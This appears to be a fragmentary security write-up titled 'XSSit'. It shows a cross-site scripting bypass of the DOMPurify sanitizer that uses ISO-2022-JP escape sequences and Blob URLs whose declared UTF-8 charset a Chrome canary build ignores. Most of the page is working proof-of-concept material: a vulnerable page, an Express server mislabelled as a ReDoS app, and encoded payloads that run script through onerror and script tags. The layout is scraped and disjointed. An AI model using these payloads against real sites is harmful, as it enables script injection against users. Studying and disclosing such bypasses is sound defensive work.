XSSit

Source:












Extras:
Chrome vulnerable version:
Version 85.0.4156.0 (Official Build) canary (64-bit)
POC:


Chrome fixed version:

Last updated














Version 85.0.4156.0 (Official Build) canary (64-bit)



Last updated
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.2.4/dist/purify.min.js"></script>
<script>
function getQueryParam(name) {
const params = new URLSearchParams(window.location.search);
return params.get(name);
}
const htmlContent = getQueryParam('html');
if (htmlContent) {
sanitized = DOMPurify.sanitize(htmlContent)
var blob = new Blob([sanitized], {
type: "text/html"
});
location=window.URL.createObjectURL(blob);
} else {
console.log('......')
}
</script>sanitized = DOMPurify.sanitize(htmlContent)
var blob = new Blob([sanitized], {
type: "text/html"
});const createDOMPurify = require("dompurify");
const { JSDOM } = require("jsdom");
const http = require("http");
const express = require('express');
const app = express();
const port = 3000;
app.get('/vulnerable', (req, res) => {
const window = new JSDOM("").window;
const DOMPurify = createDOMPurify(window);
const clean = DOMPurify.sanitize('<a id="\x1b$B"></a>\x1b(B<a id="><img src=x onerror=alert(1)>"></a>');
res.statusCode = 200;
res.setHeader("Content-Type", "text/html");
res.end(clean);
});
app.listen(port, () => {
console.log(`ReDoS Vulnerability app listening at http://localhost:${port}`);
});<a id="\x1b$B"></a>\x1b(B<a id="><img src=x onerror=alert(1)>"></a>Payload: <a id="%1b$B"></a>%1b(B<a id="><img src=x onerror=alert(1)>"></a>var blob = new Blob([`This content should be decoded using UTF-8`], {
type: "text/html;charset=utf-8"//this charset should be respected
});If blob has a type attribute of text/plain;charset=utf-8 then getting an encoding is run using "utf-8" as the label. Note that user agents must parse and extract the portion of the Charset Parameter that constitutes a label of an encoding.<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<script>
var blob = new Blob([`aaa\u001B$@<textarea>\u001B(B<script>alert('xss');alert(document.charset)<\/script></textarea>bbb`], {
type: "text/html;charset=utf-8"//this charset should be used
});
location=window.URL.createObjectURL(blob);
</script>
</body>
</html>